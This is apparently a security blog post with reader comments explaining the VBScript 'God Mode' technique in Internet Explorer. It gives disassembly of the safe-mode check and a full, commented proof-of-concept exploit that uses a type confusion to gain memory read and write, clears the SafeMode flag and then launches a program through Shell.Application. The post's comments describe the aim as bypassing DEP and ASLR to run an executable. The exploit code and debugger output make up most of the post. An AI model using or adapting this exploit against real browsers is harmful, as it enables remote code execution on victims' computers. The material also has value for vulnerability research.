How to use VBScript to turn on the God Mode?

What is the God Mode?
This concept is came from yuange, it means if we turn on this God Mode, we can do anything we what.
And What the God Mode really is?
We know if we want to execute the script code in the browser to create a object like Shell.Application, the script engine will check the SafeMode. if this is set, it will block the code. That is the God Mode. Yuange also call this is DVE(Data Virtual Execution), This is just execute the script, not the binary code. So the ASLR,DEP,EMET,CFI all of the defense technology will be fail.

What we are going to do is to clear the SafeMode flag.
(Notice: All the following code is vbscript code.)
I will show a demo code first.

"
<script type="text/javascript" language="VBScript">
set sh=createobject("Shell.Application")
sh.ShellExecute "calc.exe"

</script>
"

It can’t run because of the SafeMode.
Let’s see the function InSafeMode in the vbscript.dll.

.text:7327624B ; int __thiscall COleScript::InSafeMode(COleScript *__hidden this)
.text:7327624B ?InSafeMode@COleScript@@QAEHXZ proc near
.text:7327624B ; CODE XREF: VbsGetObject2(VAR *,int,VAR *)+8Ap
.text:7327624B ; sub_73282607+1Bp ...
.text:7327624B mov eax, [ecx+174h]
.text:73276251 and eax, 0Bh
.text:73276254 neg al
.text:73276256 sbb eax, eax
.text:73276258 neg eax
.text:7327625A retn
.text:7327625A ?InSafeMode@COleScript@@QAEHXZ endp

In this function it get the safemode flag first, then do some operations then return.
We make a break on this function, then rewrite the 0 to [ecx+174h], then the vbs code will executed, the calc pop.
That’s cool.

Here I will show some base structures in the VBscript.

VAR struct
struct tagVARIANT
{
union
{
struct __tagVARIANT
{
VARTYPE vt;
WORD wReserved1;
WORD wReserved2;
WORD wReserved3;
union
{
LONG lVal;
BYTE bVal;
SHORT iVal;
FLOAT fltVal;
DOUBLE dblVal;
VARIANT_BOOL boolVal;

_VARIANT_BOOL bool;
SCODE scode;
CY cyVal;
DATE date;
BSTR bstrVal;
IUnknown __RPC_FAR* punkVal;
IDispatch __RPC_FAR* pdispVal;
SAFEARRAY __RPC_FAR* parray;
BYTE __RPC_FAR* pbVal;
SHORT __RPC_FAR* piVal;
LONG __RPC_FAR* plVal;
FLOAT __RPC_FAR* pfltVal;
DOUBLE __RPC_FAR* pdblVal;
VARIANT_BOOL __RPC_FAR* pboolVal;
_VARIANT_BOOL __RPC_FAR* pbool;
SCODE __RPC_FAR* pscode;
CY __RPC_FAR* pcyVal;
DATE __RPC_FAR* pdate;
BSTR __RPC_FAR* pbstrVal;
IUnknown __RPC_FAR*__RPC_FAR * ppunkVal;
IDispatch __RPC_FAR*__RPC_FAR * ppdispVal;
SAFEARRAY __RPC_FAR*__RPC_FAR * pparray;
VARIANT __RPC_FAR* pvarVal;
PVOID byref;
CHAR cVal;
USHORT uiVal;
ULONG ulVal;
INT intVal;
UINT uintVal;
DECIMAL __RPC_FAR* pdecVal;
CHAR __RPC_FAR* pcVal;
USHORT __RPC_FAR* puiVal;
ULONG __RPC_FAR* pulVal;
INT __RPC_FAR* pintVal;
UINT __RPC_FAR* puintVal;
struct __tagBRECORD
{
PVOID pvRecord;
IRecordInfo __RPC_FAR* pRecInfo;
} __VARIANT_NAME_4;
} __VARIANT_NAME_3;
} __VARIANT_NAME_2;

DECIMAL decVal;
} __VARIANT_NAME_1;
};
VAR type
typedef unsigned short VARTYPE;
enum VARENUM {
VT_EMPTY = 0,
VT_NULL = 1,
VT_I2 = 2,
VT_I4 = 3,
VT_R4 = 4,
VT_R8 = 5,
VT_CY = 6,
VT_DATE = 7,
VT_BSTR = 8,
VT_DISPATCH = 9,
VT_ERROR = 10,
VT_BOOL = 11,
VT_VARIANT = 12,
VT_UNKNOWN = 13,
VT_UI1 = 17,
};
VT_RESERVED = 0x8000
VT_BYREF = 0x4000
VT_ARRAY = 0x2000
VT_FUNC = 0x4c

SafeArray struct
typedef struct tagSAFEARRAY
{
USHORT cDims;
USHORT fFeatures;
ULONG cbElements;
ULONG cLocks;
PVOID pvData;
SAFEARRAYBOUND rgsabound[ 1 ];
} SAFEARRAY;
typedef struct tagSAFEARRAYBOUND
{
ULONG cElements;
LONG lLbound;
} SAFEARRAYBOUND;

We know there is only one VAR type, so it’s easy for us to do the type confusion.

Then I will show a demo poc code from promised_lu.

<script type="text/javascript" language="VBScript">

Class Exploit
Private m_Address
Private m_Array()
Private m_Index

Private Sub Class_Initialize
m_Address = &H08000020
ReDim m_Array((&H08000000 - 32) / 16 - 1)
' first dim a big array.
Fake = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uFFFF%u7FFF%u0000%u0000")
' this code we use to do type confusion
' we compare to the SafeArray structure, the pVData is point to the 0x00000000, 0x7fffffff is the cElements, if we treat this as a array, we can use to access from 0 to 0x7fffffff.
For i = 0 To UBound(m_Array) Step (65536 / 16)
m_Array(i) = Fake
Next
End Sub

Public Sub WriteDword(Address, Value)
' after the type confusion, m_Array(m_Index)[] will be a array.
m_Array(m_Index)(Address - 8) = CLng(Value)
End Sub

Private Function ReadDword(Address)
m_Array(m_Index + 10) = Address + 4
'change the vt to vbString.
WriteDword m_Address + 10 * 16, vbString
'then get the length of the string. we know the BSTR str's structure, the first four bytes is the length. so it will get the first four bytes value.
ReadDword = LenB(m_Array(m_Index + 10))
'then change the vt to the original value.
WriteDword m_Address + 10 * 16, vbLong
End Function

Public Sub Go()
MsgBox "ed 08000020 200C"
For i = 0 To UBound(m_Array) Step (65536 / 16)
If VarType(m_Array(i)) = (vbArray + vbVariant) Then
m_Index = i
Exit For
End If
Next
On Error Resume Next

m_Array(m_Index + 1) = Go
' In the vb engine, it first get the Go var, then check the type, if is a function,
' then check if is a sub, if yes, it will not to place into the array.
m_Array(m_Index + 1) = Null
' it check the Null var, when we get the Null var, it from the virtual stack, and this stack stores the Go var before, and it not clear.
' here, it just update the vt type, other things is the same.
' for example this is the Go func var
' 0:000> dd 04353f50
' 04353f50 0435004c 04353f90 016aefe0 0012e080
' after we get the Null var, the value is
' 0:000> dd 04353f50
' 04353f50 04350001 04353f90 016aefe0 0012e080
' we see it only update the vt flag. from the 0x4c(func) to 0x01(Null).
'.text:73271E6C loc_73271E6C: ; CODE XREF: CScriptRuntime::RunNoEH(VAR *)+61j
'.text:73271E6C ; DATA XREF: .text:off_73272C96o
'.text:73271E6C lea eax, [ebx+0B0h] ; jumptable 73272EBC case 18
'.text:73271E72 add dword ptr [eax], 0FFFFFFF0h
'.text:73271E75 mov eax, [eax]
'.text:73271E77 mov word ptr [eax], 1 //

CScriptEntryPoint = ReadDword(m_Address + 16 + 8)
' this is point to a CScriptEntryPoint
' 0:003> dd 08000020
' 08000020 0000200c 00344000 0d21efe4 0012e154
' 08000030 04350001 04353f90 016aefe0 0012e080

COleScript = ReadDword(ReadDword(CScriptEntryPoint + 8) + 16)
' in the CScriptEntryPoint from 8 is a FuncInfo structure.
' 0:003> dd 016aefe0
' 016aefe0 73274e68 00000003 (0434bfd8) 04346050
' 016aeff0 04347db8 00000000 0434bfd8 04314f88

'0:003> dd 0434bfd8
'0434bfd8 00000009 00000000 00000000 00000000
'0434bfe8 0430ce00 00000000 0430cfd4 04349ff8
'0434bff8 04346050 04346050 ???????? ????????
'from 0x10, we will find the COleScript
'0:003> dd 0430ce00
'0430ce00 732747b0 732751a8 73275420 73275554
'0430ce10 7327553c 73275528 73275518 732754e4
'0430ce20 732754d4 732754c4 732754b4 7327549c
'0430ce30 7327540c 7327548c 73275474 73275460
'0430ce40 73275450 00000000 00000000 00000008
'0430ce50 00000001 00000001 03638300 732cbda4
'0430ce60 7327c2ec 00000804 00000804 00000804
'0430ce70 00000804 00000001 000003a8 0000a000

Select Case ScriptEngineMinorVersion
Case 1 SafeMode = COleScript + &H134
Case 5 SafeMode = COleScript + &H138
Case 6 SafeMode = COleScript + &H168
Case 7 SafeMode = COleScript + &H174 ' mov eax, [ecx+174h], in my environment, verion=7
Case 8 SafeMode = COleScript + &H174
End Select
' Now clear the SafeMode.
WriteDword SafeMode, 0
Set Object = CreateObject("Shell.Application")
Object.ShellExecute "calc"
End Sub
End Class

Set Target = New Exploit
Target.Go

</script>

enjoy:)

现有 5 条评论

  1. mal 2014/06/19 pm 9:49

    cool, thanks! so it’s based on a memory leak……all clear now.
    What does that type confusion do? you change which var’s type to ……..an array i understand?
    Thanks!

    Reply
    1. secniu 2014/06/19 pm 11:03

      Please notice this content in the article “we compare to the SafeArray structure, the pVData is point to the 0×00000000, 0x7fffffff is the cElements, if we treat this as a array, we can use to access from 0 to 0x7fffffff.”, this is why we use the type confusion. :)

      Reply
      1. mal 2014/06/22 am 1:35

        Yes i saw “we compare to the SafeArray structure, the pVData is point to the 0×00000000, 0x7fffffff is the cElements, if we treat this “. Question is , what do you compare exactly with SafeArray Structure? That part is not clear…..

        Do you change pvData’s type is that what you mean? this is the type confusion you’re talking about?

        so basically this achieves the same thing as:
        https://community.rapid7.com/community/metasploit/blog/2014/04/07/hack-away-at-the-unessential-with-explib2-in-metasploit

        but in vbscript, right?

        Reply
  2. mal 2014/06/19 pm 2:59

    Hi,

    Can you be a bit more clearer please? more details?
    What do you want to achieve from vb script? Type confusion? what’s the reason? from what type to what type and how exactly does it happen?

    Thank you!

    Reply
    1. secniu 2014/06/19 pm 3:12

      Hi,
      First, we need to know, if we have a IE vulnerability, how could we use to bypass DEP+ASLR, and our target is exec a shellcode, download an exe or other things, but we know this things can be done by the script with no safemode. So this paper is to explain, if we have a memory leak vulnerability, how we can use to turn off the safemode, then use the script to exec an exe.

      Reply

发表评论

带 * 的是必填项目,电子邮件地址不会被公开。
文字的交流也是情感的交流,技能的交流也是学术的交流。

Are you human? Click the Pineapple...